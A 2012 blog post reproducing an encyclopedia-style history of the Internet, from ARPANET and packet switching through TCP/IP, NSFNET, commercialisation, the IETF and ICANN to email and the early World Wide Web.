Januari 03, 2012

history of internet

The history of the Internet began with the development of computers in the 1950s. This began with point-to-point communication between mainframe computers and terminals, expanded to point-to-point connections between computers and then early research into packet switching. Packet switched networks such as ARPANET, Mark I at NPL in the UK, CYCLADES, Merit Network, Tymnet, and Telenet, were developed in the late 1960s and early 1970s using a variety of protocols. The ARPANET in particular led to the development of protocols for internetworking, where multiple separate networks could be joined together into a network of networks.

In 1982 the Internet Protocol Suite (TCP/IP) was standardized and the concept of a world-wide network of fully interconnected TCP/IP networks called the Internet was introduced. Access to the ARPANET was expanded in 1981 when the National Science Foundation (NSF) developed the Computer Science Network (CSNET) and again in 1986 when NSFNET provided access to supercomputer sites in the United States from research and education organizations. Commercial internet service providers (ISPs) began to emerge in the late 1980s and 1990s. The ARPANET was decommissioned in 1990. The Internet was commercialized in 1995 when NSFNET was decommissioned, removing the last restrictions on the use of the Internet to carry commercial traffic.

Since the mid-1990s the Internet has had a drastic impact on culture and commerce, including the rise of near-instant communication by electronic mail, instant messaging, Voice over Internet Protocol (VoIP) "phone calls", two-way interactive video calls, and the World Wide Web with its discussion forums, blogs, social networking, and online shopping sites. The research and education community continues to develop and use advanced networks such as NSF's very high speed Backbone Network Service (vBNS), Internet2, and National LambdaRail. Increasing amounts of data are transmitted at higher and higher speeds over fiber optic networks operating at 1-Gbit/s, 10-Gbit/s, or more. The Internet continues to grow, driven by ever greater amounts of online information and knowledge, commerce, entertainment and social networking.

It is estimated that in 1993 the Internet carried only 1% of the information flowing through two-way telecommunication. By 2000 this figure had grown to 51%, and by 2007 more than 97% of all telecommunicated information was carried over the Internet.
The Internet has precursors that date back to the 19th century, especially the telegraph system, more than a century before the digital Internet became widely used in the second half of the 1990s. The concept of data communication – transmitting data between two different places, connected via some kind of electromagnetic medium, such as radio or an electrical wire – predates the introduction of the first computers. Such communication systems were typically limited to point to point communication between two end devices. Telegraph systems and telex machines can be considered early precursors of this kind of communication.

Early computers used the technology available at the time to allow communication between the central processing unit and remote terminals. As the technology evolved, new systems were devised to allow communication over longer distances (for terminals) or with higher speed (for interconnection of local devices) that were necessary for the mainframe computer model. Using these technologies it was possible to exchange data (such as files) between remote computers. However, the point to point communication model was limited, as it did not allow for direct communication between any two arbitrary systems; a physical link was necessary. The technology was also deemed as inherently unsafe for strategic and military use, because there were no alternative paths for the communication in case of an enemy attack.

Three terminals and an ARPA

Main articles: RAND Corporation and ARPANET
A fundamental pioneer in the call for a global network, J. C. R. Licklider, articulated the ideas in his January 1960 paper, Man-Computer Symbiosis.

"A network of such [computers], connected to one another by wide-band communication lines [which provided] the functions of present-day libraries together with anticipated advances in information storage and retrieval and [other] symbiotic functions."
—J.C.R. Licklider,
In August 1962, Licklider and Welden Clark published the paper "On-Line Man Computer Communication", one of the first descriptions of a networked future.

In October 1962, Licklider was hired by Jack Ruina as Director of the newly established Information Processing Techniques Office (IPTO) within DARPA, with a mandate to interconnect the United States Department of Defense's main computers at Cheyenne Mountain, the Pentagon, and SAC HQ. There he formed an informal group within DARPA to further computer research. He began by writing memos describing a distributed network to the IPTO staff, whom he called "Members and Affiliates of the Intergalactic Computer Network". As part of the information processing office's role, three network terminals had been installed: one for System Development Corporation in Santa Monica, one for Project Genie at the University of California, Berkeley and one for the Compatible Time-Sharing System project at the Massachusetts Institute of Technology (MIT). Licklider's identified need for inter-networking would be made obvious by the apparent waste of resources this caused.

"For each of these three terminals, I had three different sets of user commands. So if I was talking online with someone at S.D.C. and I wanted to talk to someone I knew at Berkeley or M.I.T. about this, I had to get up from the S.D.C. terminal, go over and log into the other terminal and get in touch with them. [...] I said, it's obvious what to do (But I don't want to do it): If you have these three terminals, there ought to be one terminal that goes anywhere you want to go where you have interactive computing. That idea is the ARPAnet."
—Robert W. Taylor, co-writer with Licklider of "The Computer as a Communications Device", in an interview with The New York Times,
Although he left the IPTO in 1964, five years before the ARPANET went live, it was his vision of universal networking that provided the impetus that led his successors such as Lawrence Roberts and Robert Taylor to further the ARPANET development. Licklider later returned to lead the IPTO in 1973 for two years.

Packet switching

Main article: Packet switching
At the tip of the problem lay the issue of connecting separate physical networks to form one logical network. During the 1960s, Paul Baran (RAND Corporation), produced a study of survivable networks for the US military. Information transmitted across Baran's network would be divided into what he called 'message-blocks'. Independently, Donald Davies (National Physical Laboratory, UK), proposed and developed a similar network based on what he called packet-switching, the term that would ultimately be adopted. Leonard Kleinrock (MIT) developed mathematical theory behind this technology. Packet-switching provides better bandwidth utilization and response times than the traditional circuit-switching technology used for telephony, particularly on resource-limited interconnection links.

Packet switching is a rapid store-and-forward networking design that divides messages up into arbitrary packets, with routing decisions made per-packet. Early networks used message switched systems that required rigid routing structures prone to single point of failure. This led Tommy Krash and Paul Baran's U.S. military funded research to focus on using message-blocks to include network redundancy, which in turn led to the widespread urban legend that the Internet was designed to resist nuclear attack.

Networks that led to the Internet

ARPANET
Main article: ARPANET


Len Kleinrock and the first Interface Message Processor.
Promoted to the head of the information processing office at DARPA, Robert Taylor intended to realize Licklider's ideas of an interconnected networking system. Bringing in Larry Roberts from MIT, he initiated a project to build such a network. The first ARPANET link was established between the University of California, Los Angeles and the Stanford Research Institute on 22:30 hours on October 29, 1969.

"We set up a telephone connection between us and the guys at SRI ...", Kleinrock ... said in an interview: "We typed the L and we asked on the phone,
"Do you see the L?"
"Yes, we see the L," came the response.
We typed the O, and we asked, "Do you see the O."
"Yes, we see the O."
Then we typed the G, and the system crashed ...
Yet a revolution had begun" ....
By December 5, 1969, a 4-node network was connected by adding the University of Utah and the University of California, Santa Barbara. Building on ideas developed in ALOHAnet, the ARPANET grew rapidly. By 1981, the number of hosts had grown to 213, with a new host being added approximately every twenty days.

ARPANET became the technical core of what would become the Internet, and a primary tool in developing the technologies used. ARPANET development was centered around the Request for Comments (RFC) process, still used today for proposing and distributing Internet Protocols and Systems. RFC 1, entitled "Host Software", was written by Steve Crocker from the University of California, Los Angeles, and published on April 7, 1969. These early years were documented in the 1972 film Computer Networks: The Heralds of Resource Sharing.

International collaborations on ARPANET were sparse. For various political reasons, European developers were concerned with developing the X.25 networks. Notable exceptions were the Norwegian Seismic Array (NORSAR) in 1972, followed in 1973 by Sweden with satellite links to the Tanum Earth Station and Peter Kirstein's research group in the UK, initially at the Institute of Computer Science, London University and later at University College London.

NPL
In 1965, Donald Davies of the National Physical Laboratory (United Kingdom) proposed a national data network based on packet-switching. The proposal was not taken up nationally, but by 1970 he had designed and built the Mark I packet-switched network to meet the needs of the multidisciplinary laboratory and prove the technology under operational conditions. By 1976 12 computers and 75 terminal devices were attached and more were added until the network was replaced in 1986.

Merit Network
The Merit Network was formed in 1966 as the Michigan Educational Research Information Triad to explore computer networking between three of Michigan's public universities as a means to help the state's educational and economic development. With initial support from the State of Michigan and the National Science Foundation (NSF), the packet-switched network was first demonstrated in December 1971 when an interactive host to host connection was made between the IBM mainframe computer systems at the University of Michigan in Ann Arbor and Wayne State University in Detroit. In October 1972 connections to the CDC mainframe at Michigan State University in East Lansing completed the triad. Over the next several years in addition to host to host interactive connections the network was enhanced to support terminal to host connections, host to host batch connections (remote job submission, remote printing, batch file transfer), interactive file transfer, gateways to the Tymnet and Telenet public data networks, X.25 host attachments, gateways to X.25 data networks, Ethernet attached hosts, and eventually TCP/IP and additional public universities in Michigan join the network.[17][18] All of this set the stage for Merit's role in the NSFNET project starting in the mid-1980s.

CYCLADES
The CYCLADES packet switching network was a French research network designed and directed by Louis Pouzin. First demonstrated in 1973, it was developed to explore alternatives to the initial ARPANET design and to support network research generally. It was the first network to make the hosts responsible for the reliable delivery of data, rather than the network itself, using unreliable datagrams and associated end-to-end protocol mechanisms.[19][20]

X.25 and public data networks
Main articles: X.25, Bulletin board system, and FidoNet
Based on ARPA's research, packet switching network standards were developed by the International Telecommunication Union (ITU) in the form of X.25 and related standards. While using packet switching, X.25 is built on the concept of virtual circuits emulating traditional telephone connections. In 1974, X.25 formed the basis for the SERCnet network between British academic and research sites, which later became JANET. The initial ITU Standard on X.25 was approved in March 1976.[21]

The British Post Office, Western Union International and Tymnet collaborated to create the first international packet switched network, referred to as the International Packet Switched Service (IPSS), in 1978. This network grew from Europe and the US to cover Canada, Hong Kong and Australia by 1981. By the 1990s it provided a worldwide networking infrastructure.[22]

Unlike ARPANET, X.25 was commonly available for business use. Telenet offered its Telemail electronic mail service, which was also targeted to enterprise use rather than the general email system of the ARPANET.

The first public dial-in networks used asynchronous TTY terminal protocols to reach a concentrator operated in the public network. Some networks, such as CompuServe, used X.25 to multiplex the terminal sessions into their packet-switched backbones, while others, such as Tymnet, used proprietary protocols. In 1979, CompuServe became the first service to offer electronic mail capabilities and technical support to personal computer users. The company broke new ground again in 1980 as the first to offer real-time chat with its CB Simulator. Other major dial-in networks were America Online (AOL) and Prodigy that also provided communications, content, and entertainment features. Many bulletin board system (BBS) networks also provided on-line access, such as FidoNet which was popular amongst hobbyist computer users, many of them hackers and amateur radio operators.[citation needed]

UUCP and Usenet
Main articles: UUCP and Usenet
In 1979, two students at Duke University, Tom Truscott and Jim Ellis, came up with the idea of using simple Bourne shell scripts to transfer news and messages on a serial line UUCP connection with nearby University of North Carolina at Chapel Hill. Following public release of the software, the mesh of UUCP hosts forwarding on the Usenet news rapidly expanded. UUCPnet, as it would later be named, also created gateways and links between FidoNet and dial-up BBS hosts. UUCP networks spread quickly due to the lower costs involved, ability to use existing leased lines, X.25 links or even ARPANET connections, and the lack of strict use policies (commercial organizations who might provide bug fixes) compared to later networks like CSnet and Bitnet. All connects were local. By 1981 the number of UUCP hosts had grown to 550, nearly doubling to 940 in 1984. – Sublink Network, operating since 1987 and officially founded in Italy in 1989, based its interconnectivity upon UUCP to redistribute mail and news groups messages throughout its Italian nodes (about 100 at the time) owned both by private individuals and small companies. Sublink Network represented possibly one of the first examples of the internet technology becoming progress through popular diffusion.

Merging the networks and creating the Internet (1973–90)

TCP/IP


Map of the TCP/IP test network in February 1982
Main article: Internet Protocol Suite
With so many different network methods, something was needed to unify them. Robert E. Kahn of DARPA and ARPANET recruited Vinton Cerf of Stanford University to work with him on the problem. By 1973, they had worked out a fundamental reformulation, where the differences between network protocols were hidden by using a common internetwork protocol, and instead of the network being responsible for reliability, as in the ARPANET, the hosts became responsible. Cerf credits Hubert Zimmerman, Gerard LeLann and Louis Pouzin (designer of the CYCLADES network) with important work on this design.[24]

The specification of the resulting protocol, RFC 675 – Specification of Internet Transmission Control Program, by Vinton Cerf, Yogen Dalal and Carl Sunshine, Network Working Group, December 1974, contains the first attested use of the term internet, as a shorthand for internetworking; later RFCs repeat this use, so the word started out as an adjective rather than the noun it is today.



A Stanford Research Institute packet radio van, site of the first three-way internetworked transmission.
With the role of the network reduced to the bare minimum, it became possible to join almost any networks together, no matter what their characteristics were, thereby solving Kahn's initial problem. DARPA agreed to fund development of prototype software, and after several years of work, the first demonstration of a gateway between the Packet Radio network in the SF Bay area and the ARPANET was conducted by the Stanford Research Institute. On November 22, 1977 a three network demonstration was conducted including the ARPANET, the Packet Radio Network and the Atlantic Packet Satellite network.

Stemming from the first specifications of TCP in 1974, TCP/IP emerged in mid-late 1978 in nearly final form. By 1981, the associated standards were published as RFCs 791, 792 and 793 and adopted for use. DARPA sponsored or encouraged the development of TCP/IP implementations for many operating systems and then scheduled a migration of all hosts on all of its packet networks to TCP/IP. On January 1, 1983, known as flag day, TCP/IP protocols became the only approved protocol on the ARPANET, replacing the earlier NCP protocol.

ARPANET to the federal wide area networks: MILNET, NSI, ESNet, CSNET, and NSFNET
Main articles: ARPANET and NSFNET


BBN Technologies TCP/IP internet map early 1986
After the ARPANET had been up and running for several years, ARPA looked for another agency to hand off the network to; ARPA's primary mission was funding cutting edge research and development, not running a communications utility. Eventually, in July 1975, the network had been turned over to the Defense Communications Agency, also part of the Department of Defense. In 1983, the U.S. military portion of the ARPANET was broken off as a separate network, the MILNET. MILNET subsequently became the unclassified but military-only NIPRNET, in parallel with the SECRET-level SIPRNET and JWICS for TOP SECRET and above. NIPRNET does have controlled security gateways to the public Internet.

The networks based on the ARPANET were government funded and therefore restricted to noncommercial uses such as research; unrelated commercial use was strictly forbidden. This initially restricted connections to military sites and universities. During the 1980s, the connections expanded to more educational institutions, and even to a growing number of companies such as Digital Equipment Corporation and Hewlett-Packard, which were participating in research projects or providing services to those who were.

Several other branches of the U.S. government, the National Aeronautics and Space Agency (NASA), the National Science Foundation (NSF), and the Department of Energy (DOE) became heavily involved in Internet research and started development of a successor to ARPANET. In the mid 1980s, all three of these branches developed the first Wide Area Networks based on TCP/IP. NASA developed the NASA Science Network, NSF developed CSNET and DOE evolved the Energy Sciences Network or ESNet.



T3 NSFNET Backbone, c. 1992
NASA developed the TCP/IP based NASA Science Network (NSN) in the mid 1980s, connecting space scientists to data and information stored anywhere in the world. In 1989, the DECnet-based Space Physics Analysis Network (SPAN) and the TCP/IP-based NASA Science Network (NSN) were brought together at NASA Ames Research Center creating the first multiprotocol wide area network called the NASA Science Internet, or NSI. NSI was established to provide a totally integrated communications infrastructure to the NASA scientific community for the advancement of earth, space and life sciences. As a high-speed, multiprotocol, international network, NSI provided connectivity to over 20,000 scientists across all seven continents.

In 1981 NSF supported the development of the Computer Science Network (CSNET). CSNET connected with ARPANET using TCP/IP, and ran TCP/IP over X.25, but it also supported departments without sophisticated network connections, using automated dial-up mail exchange. Its experience with CSNET lead NSF to use TCP/IP when it created NSFNET, a 56 kbit/s backbone established in 1986, that connected the NSF supported supercomputing centers and regional research and education networks in the United States.[28] However, use of NSFNET was not limited to supercomputer users and the 56 kbit/s network quickly became overloaded. NSFNET was upgraded to 1.5 Mbit/s in 1988. The existence of NSFNET and the creation of Federal Internet Exchanges (FIXes) allowed the ARPANET to be decommissioned in 1990. NSFNET was expanded and upgraded to 45 Mbit/s in 1991, and was decommissioned in 1995 when it was replaced by backbones operated by several commercial Internet Service Providers.

Transition towards the Internet
The term "internet" was adopted in the first RFC published on the TCP protocol (RFC 675: Internet Transmission Control Program, December 1974) as an abbreviation of the term internetworking and the two terms were used interchangeably. In general, an internet was any network using TCP/IP. It was around the time when ARPANET was interlinked with NSFNET in the late 1980s, that the term was used as the name of the network, Internet, being a large and global TCP/IP network.

As interest in widespread networking grew and new applications for it were developed, the Internet's technologies spread throughout the rest of the world. The network-agnostic approach in TCP/IP meant that it was easy to use any existing network infrastructure, such as the IPSS X.25 network, to carry Internet traffic. In 1984, University College London replaced its transatlantic satellite links with TCP/IP over IPSS.[31]

Many sites unable to link directly to the Internet started to create simple gateways to allow transfer of e-mail, at that time the most important application. Sites which only had intermittent connections used UUCP or FidoNet and relied on the gateways between these networks and the Internet. Some gateway services went beyond simple email peering, such as allowing access to FTP sites via UUCP or e-mail.

Finally, the Internet's remaining centralized routing aspects were removed. The EGP routing protocol was replaced by a new protocol, the Border Gateway Protocol (BGP). This turned the Internet into a meshed topology and moved away from the centric architecture which ARPANET had emphasized. In 1994, Classless Inter-Domain Routing was introduced to support better conservation of address space which allowed use of route aggregation to decrease the size of routing tables.

TCP/IP goes global (1989–2000)

CERN, the European Internet, the link to the Pacific and beyond
Between 1984 and 1988 CERN began installation and operation of TCP/IP to interconnect its major internal computer systems, workstations, PCs and an accelerator control system. CERN continued to operate a limited self-developed system CERNET internally and several incompatible (typically proprietary) network protocols externally. There was considerable resistance in Europe towards more widespread use of TCP/IP and the CERN TCP/IP intranets remained isolated from the Internet until 1989.

In 1988 Daniel Karrenberg, from Centrum Wiskunde & Informatica (CWI) in Amsterdam, visited Ben Segal, CERN's TCP/IP Coordinator, looking for advice about the transition of the European side of the UUCP Usenet network (much of which ran over X.25 links) over to TCP/IP. In 1987, Ben Segal had met with Len Bosack from the then still small company Cisco about purchasing some TCP/IP routers for CERN, and was able to give Karrenberg advice and forward him on to Cisco for the appropriate hardware. This expanded the European portion of the Internet across the existing UUCP networks, and in 1989 CERN opened its first external TCP/IP connections.[33] This coincided with the creation of Réseaux IP Européens (RIPE), initially a group of IP network administrators who met regularly to carry out co-ordination work together. Later, in 1992, RIPE was formally registered as a cooperative in Amsterdam.

At the same time as the rise of internetworking in Europe, ad hoc networking to ARPA and in-between Australian universities formed, based on various technologies such as X.25 and UUCPNet. These were limited in their connection to the global networks, due to the cost of making individual international UUCP dial-up or X.25 connections. In 1989, Australian universities joined the push towards using IP protocols to unify their networking infrastructures. AARNet was formed in 1989 by the Australian Vice-Chancellors' Committee and provided a dedicated IP based network for Australia.

The Internet began to penetrate Asia in the late 1980s. Japan, which had built the UUCP-based network JUNET in 1984, connected to NSFNET in 1989. It hosted the annual meeting of the Internet Society, INET'92, in Kobe. Singapore developed TECHNET in 1990, and Thailand gained a global Internet connection between Chulalongkorn University and UUNET in 1992.

Global digital divide
Main articles: Global digital divide and Digital divide
While developed countries with technological infrastructures were joining the Internet, developing countries began to experience a digital divide separating them from the Internet. On an essentially continental basis, they are building organizations for Internet resource administration and sharing operational experience, as more and more transmission facilities go into place.

Africa
At the beginning of the 1990s, African countries relied upon X.25 IPSS and 2400 baud modem UUCP links for international and internetwork computer communications.

In August 1995, InfoMail Uganda, Ltd., a privately held firm in Kampala now known as InfoCom, and NSN Network Services of Avon, Colorado, sold in 1997 and now known as Clear Channel Satellite, established Africa's first native TCP/IP high-speed satellite Internet services. The data connection was originally carried by a C-Band RSCC Russian satellite which connected InfoMail's Kampala offices directly to NSN's MAE-West point of presence using a private network from NSN's leased ground station in New Jersey. InfoCom's first satellite connection was just 64 kbit/s, serving a Sun host computer and twelve US Robotics dial-up modems.

In 1996 a USAID funded project, the Leland initiative, started work on developing full Internet connectivity for the continent. Guinea, Mozambique, Madagascar and Rwanda gained satellite earth stations in 1997, followed by Côte d'Ivoire and Benin in 1998.

Africa is building an Internet infrastructure. AfriNIC, headquartered in Mauritius, manages IP address allocation for the continent. As do the other Internet regions, there is an operational forum, the Internet Community of Operational Networking Specialists.

There are a wide range of programs both to provide high-performance transmission plant, and the western and southern coasts have undersea optical cable. High-speed cables join North Africa and the Horn of Africa to intercontinental cable systems. Undersea cable development is slower for East Africa; the original joint effort between New Partnership for Africa's Development (NEPAD) and the East Africa Submarine System (Eassy) has broken off and may become two efforts.

Asia and Oceania
The Asia Pacific Network Information Centre (APNIC), headquartered in Australia, manages IP address allocation for the continent. APNIC sponsors an operational forum, the Asia-Pacific Regional Internet Conference on Operational Technologies (APRICOT).

In 1991, the People's Republic of China saw its first TCP/IP college network, Tsinghua University's TUNET. The PRC went on to make its first global Internet connection in 1994, between the Beijing Electro-Spectrometer Collaboration and Stanford University's Linear Accelerator Center. However, China went on to implement its own digital divide by implementing a country-wide content filter.

Latin America
As with the other regions, the Latin American and Caribbean Internet Addresses Registry (LACNIC) manages the IP address space and other resources for its area. LACNIC, headquartered in Uruguay, operates DNS root, reverse DNS, and other key services.

Opening the network to commerce
The interest in commercial use of the Internet became a hotly debated topic. Although commercial use was forbidden, the exact definition of commercial use could be unclear and subjective. UUCPNet and the X.25 IPSS had no such restrictions, which would eventually see the official barring of UUCPNet use of ARPANET and NSFNET connections. Some UUCP links still remained connecting to these networks however, as administrators cast a blind eye to their operation.


During the late 1980s, the first Internet service provider (ISP) companies were formed. Companies like PSINet, UUNET, Netcom, and Portal Software were formed to provide service to the regional research networks and provide alternate network access, UUCP-based email and Usenet News to the public. The first commercial dialup ISP in the United States was The World, opened in 1989.

In 1992, Congress passed the Scientific and Advanced-Technology Act, 42 U.S.C. § 1862(g), which allowed NSF to support access by the research and education communities to computer networks which were not used exclusively for research and education purposes, thus permitting NSFNET to interconnect with commercial networks.[40][41] This caused controversy within the research and education community, who were concerned commercial use of the network might lead to an Internet that was less responsive to their needs, and within the community of commercial network providers, who felt that government subsidies were giving an unfair advantage to some organizations.

By 1990, ARPANET had been overtaken and replaced by newer networking technologies and the project came to a close. New network service providers including PSINet, Alternet, CERFNet, ANS CO+RE, and many others were offering network access to commercial customers. NSFNET was no longer the de facto backbone and exchange point for Internet. The Commercial Internet eXchange (CIX), Metropolitan Area Exchanges (MAEs), and later Network Access Points (NAPs) were becoming the primary interconnections between many networks. The final restrictions on carrying commercial traffic ended on April 30, 1995 when the National Science Foundation ended its sponsorship of the NSFNET Backbone Service and the service ended. NSF provided initial support for the NAPs and interim support to help the regional research and education networks transition to commercial ISPs. NSF also sponsored the very high speed Backbone Network Service (vBNS) which continued to provide support for the supercomputing centers and research and education in the United States.

Internet Engineering Task Force
Main article: Internet Engineering Task Force
The Internet Engineering Task Force (IETF) is a loosely self-organized group of volunteers who contribute to the engineering and evolution of Internet technologies. It is the principal body engaged in the development of new Internet standard specifications. Much of the IETF's work is done in Working Groups. It does not "run the Internet", despite what some people might mistakenly say. The IETF does make standards that are often adopted by Internet users, but it does not control, or even patrol, the Internet.

The IETF started in January 1986 as a quarterly meeting of U.S. government funded researchers. Non-government representatives were invited starting with the fourth IETF meeting in October 1986. The concept of Working Groups was introduced at the fifth IETF meeting in February 1987. The seventh IETF meeting in July 1987 was the first meeting with more than 100 attendees. In 1992, the Internet Society, a professional membership society, was formed and IETF began to operate under it as an independent international standards body. The first IETF meeting outside of the United States was held in Amsterdam, The Netherlands, in July 1993. Today the IETF meets three times a year and attendnce is often about 1,300 people, but has been as high as 2,000 upon occasion. Typically one in three IETF meetings are held in Europe or Asia. The number of non-US attendees is roughly 50%, even at meetings held in the United States.

The IETF is unusual in that it exists as a collection of happenings, but is not a corporation and has no board of directors, no members, and no dues. The closest thing there is to being an IETF member is being on the IETF or a Working Group mailing list. IETF volunteers come from all over the world and from many different parts of the Internet community. The IETF works closely with and under the supervision of the Internet Engineering Steering Group (IESG) and the Internet Architecture Board (IAB). The Internet Research Task Force (IRTF) and the Internet Research Steering Group (IRSG), peer activities to the IETF and IESG under the general supervision of the IAB, focus on longer term research issues.

Request for Comments
Main article: Request for Comments
Request for Comments (RFCs) are the main documentation for the work of the IAB, IESG, IETF, and IRTF. RFC 1, "Host Software", was written by Steve Crocker at UCLA in April 1969, well before the IETF was created. Originally they were technical memos documenting aspects of ARPANET development and were edited by the late Jon Postel, the first RFC Editor.

RFCs cover a wide range of information from proposed standards, draft standards, full standards, best practices, experimental protocols, history, and other informational topics. RFCs can be written by individuals or informal groups of individuals, but many are the product of a more formal Working Group. Drafts are submitted to the IESG either by individuals or by the Working Group Chair. An RFC Editor, appointed by the IAB, separate from IANA, and working in conjunction with the IESG, receives drafts from the IESG and edits, formats, and publishes them. Once an RFC is published, it is never revised. If the standard it describes changes or its information becomes obsolete, the revised standard or updated information will be re-published as a new RFC that "obsoletes" the original.

NIC, InterNIC, IANA and ICANN
Main articles: InterNIC, Internet Assigned Numbers Authority, and ICANN
The first central authority to coordinate the operation of the network was the Network Information Centre (NIC) at Stanford Research Institute (SRI) in Menlo Park, California. In 1972, management of these issues was given to the newly created Internet Assigned Numbers Authority (IANA). In addition to his role as the RFC Editor, Jon Postel worked as the manager of IANA until his death in 1998.

As the early ARPANET grew, hosts were referred to by names, and a HOSTS.TXT file would be distributed from SRI International to each host on the network. As the network grew, this became cumbersome. A technical solution came in the form of the Domain Name System, created by Paul Mockapetris. The Defense Data Network—Network Information Center (DDN-NIC) at SRI handled all registration services, including the top-level domains (TLDs) of .mil, .gov, .edu, .org, .net, .com and .us, root nameserver administration and Internet number assignments under a United States Department of Defense contract.[53] In 1991, the Defense Information Systems Agency (DISA) awarded the administration and maintenance of DDN-NIC (managed by SRI up until this point) to Government Systems, Inc., who subcontracted it to the small private-sector Network Solutions, Inc.

Since at this point in history most of the growth on the Internet was coming from non-military sources, it was decided that the Department of Defense would no longer fund registration services outside of the .mil TLD. In 1993 the U.S. National Science Foundation, after a competitive bidding process in 1992, created the InterNIC to manage the allocations of addresses and management of the address databases, and awarded the contract to three organizations. Registration Services would be provided by Network Solutions; Directory and Database Services would be provided by AT&T; and Information Services would be provided by General Atomics.

In 1998 both IANA and InterNIC were reorganized under the control of ICANN, a California non-profit corporation contracted by the United States Department of Commerce to manage a number of Internet-related tasks. The role of operating the DNS system was privatized and opened up to competition, while the central management of name allocations would be awarded on a contract tender basis.

Globalization and the 21st century

Main article: Internet governance
Since the 1990s, the Internet's governance and organization has been of global importance to commerce. The organizations which hold control of certain technical aspects of the Internet are both the successors of the old ARPANET oversight and the current decision-makers in the day-to-day technical aspects of the network. While formally recognized as the administrators of the network, their roles and their decisions are subject to international scrutiny and objections which limit them. These objections have led to the ICANN removing themselves from relationships with first the University of Southern California in 2000, and finally in September 2009, gaining autonomy from the US government by the ending of its longstanding agreements, although some contractual obligations with the Department of Commerce continue until at least 2011. The history of the Internet will now be played out in many ways as a consequence of the ICANN organization.

In the role of forming standard associated with the Internet, the IETF continues to serve as the ad-hoc standards group. They continue to issue Request for Comments numbered sequentially from RFC 1 under the ARPANET project, for example, and the IETF precursor was the GADS Task Force which was a group of US government-funded researchers in the 1980s. Many of the group's recent developments have been of global necessity, such as the i18n working groups who develop things like internationalized domain names. The Internet Society has helped to fund the IETF, providing limited oversight.

Futurology: Beyond Earth and TCP/IP (2010 to present)

The first live Internet link into low earth orbit was established on January 22, 2010 when astronaut T. J. Creamer posted the first unassisted update to his Twitter account from the International Space Station, marking the extension of the Internet into space. (Astronauts at the ISS had used email and Twitter before, but these messages had been relayed to the ground through a NASA data link before being posted by a human proxy.) This personal Web access, which NASA calls the Crew Support LAN, uses the space station's high-speed Ku band microwave link. To surf the Web, astronauts can use a station laptop computer to control a desktop computer on Earth, and they can talk to their families and friends on Earth using Voice over IP equipment.

Communication with spacecraft beyond earth orbit has traditionally been over point-to-point links through the Deep Space Network. Each such data link must be manually scheduled and configured. In the late 1990s NASA and Google began working on a new network protocol, Delay-tolerant networking (DTN) which automates this process, allows networking of spaceborn transmission nodes, and takes the fact into account that spacecraft can temporarily lose contact because they move behind the Moon or planets, or because space "weather" disrupts the connection. Under such conditions, DTN retransmits data packages instead of dropping them, as the standard TCP/IP internet protocol does. NASA conducted the first field test of what it calls the "deep space internet" in November 2008.[62] This network technology is supposed to enable missions that involve multiple spacecraft where reliable inter-vessel communication might take precedence over vessel-to-earth downlinks.

Use and culture

Main article: Sociology of the Internet
E-mail and Usenet
Main articles: e-mail, Simple Mail Transfer Protocol, and Usenet
E-mail is often called the killer application of the Internet. However, it actually predates the Internet and was a crucial tool in creating it. Email started in 1965 as a way for multiple users of a time-sharing mainframe computer to communicate. Although the history is unclear, among the first systems to have such a facility were SDC's Q32 and MIT's CTSS.

The ARPANET computer network made a large contribution to the evolution of e-mail. There is one report[64] indicating experimental inter-system e-mail transfers on it shortly after ARPANET's creation. In 1971 Ray Tomlinson created what was to become the standard Internet e-mail address format, using the @ sign to separate user names from host names.

A number of protocols were developed to deliver e-mail among groups of time-sharing computers over alternative transmission systems, such as UUCP and IBM's VNET e-mail system. E-mail could be passed this way between a number of networks, including ARPANET, BITNET and NSFNET, as well as to hosts connected directly to other sites via UUCP. See the history of SMTP protocol.

In addition, UUCP allowed the publication of text files that could be read by many others. The News software developed by Steve Daniel and Tom Truscott in 1979 was used to distribute news and bulletin board-like messages. This quickly grew into discussion groups, known as newsgroups, on a wide range of topics. On ARPANET and NSFNET similar discussion groups would form via mailing lists, discussing both technical issues and more culturally focused topics (such as science fiction, discussed on the sflovers mailing list).

During the early years of the Internet, e-mail and similar mechanisms were also fundamental to allow people to access resources that were not available due to the absence of online connectivity. UUCP was often used to distribute files using the 'alt.binary' groups. Also, FTP e-mail gateways allowed people that lived outside the US and Europe to download files using ftp commands written inside e-email messages. The file was encoded, broken in pieces and sent by e-mail; the receiver had to reassemble and decode it later, and it was the only way for people living overseas to download items such as the earlier Linux versions using the slow dial-up connections available at the time. After the popularization of the Web and the HTTP protocol such tools were slowly abandoned.

From gopher to the WWW
Main articles: History of the World Wide Web and World Wide Web
As the Internet grew through the 1980s and early 1990s, many people realized the increasing need to be able to find and organize files and information. Projects such as Gopher, WAIS, and the FTP Archive list attempted to create ways to organize distributed data. Unfortunately, these projects fell short in being able to accommodate all the existing data types and in being able to grow without bottlenecks.[citation needed]

One of the most promising user interface paradigms during this period was hypertext. The technology had been inspired by Vannevar Bush's "Memex"[66] and developed through Ted Nelson's research on Project Xanadu and Douglas Engelbart's research on NLS. Many small self-contained hypertext systems had been created before, such as Apple Computer's HyperCard (1987). Gopher became the first commonly-used hypertext interface to the Internet. While Gopher menu items were examples of hypertext, they were not commonly perceived in that way.



This NeXT Computer was used by Sir Tim Berners-Lee at CERN and became the world's first Web server.
In 1989, while working at CERN, Tim Berners-Lee invented a network-based implementation of the hypertext concept. By releasing his invention to public use, he ensured the technology would become widespread. For his work in developing the World Wide Web, Berners-Lee received the Millennium technology prize in 2004. One early popular web browser, modeled after HyperCard, was ViolaWWW.

A potential turning point for the World Wide Web began with the introduction of the Mosaic web browser in 1993, a graphical browser developed by a team at the National Center for Supercomputing Applications at the University of Illinois at Urbana-Champaign (NCSA-UIUC), led by Marc Andreessen. Funding for Mosaic came from the High-Performance Computing and Communications Initiative, a funding program initiated by the High Performance Computing and Communication Act of 1991 also known as the Gore Bill. Indeed, Mosaic's graphical interface soon became more popular than Gopher, which at the time was primarily text-based, and the WWW became the preferred interface for accessing the Internet. (Gore's reference to his role in "creating the Internet", however, was ridiculed in his presidential election campaign. See the full article Al Gore and information technology).

Mosaic was eventually superseded in 1994 by Andreessen's Netscape Navigator, which replaced Mosaic as the world's most popular browser. While it held this title for some time, eventually competition from Internet Explorer and a variety of other browsers almost completely displaced it. Another important event held on January 11, 1994, was The Superhighway Summit at UCLA's Royce Hall. This was the "first public conference bringing together all of the major industry, government and academic leaders in the field [and] also began the national dialogue about the Information Superhighway and its implications."

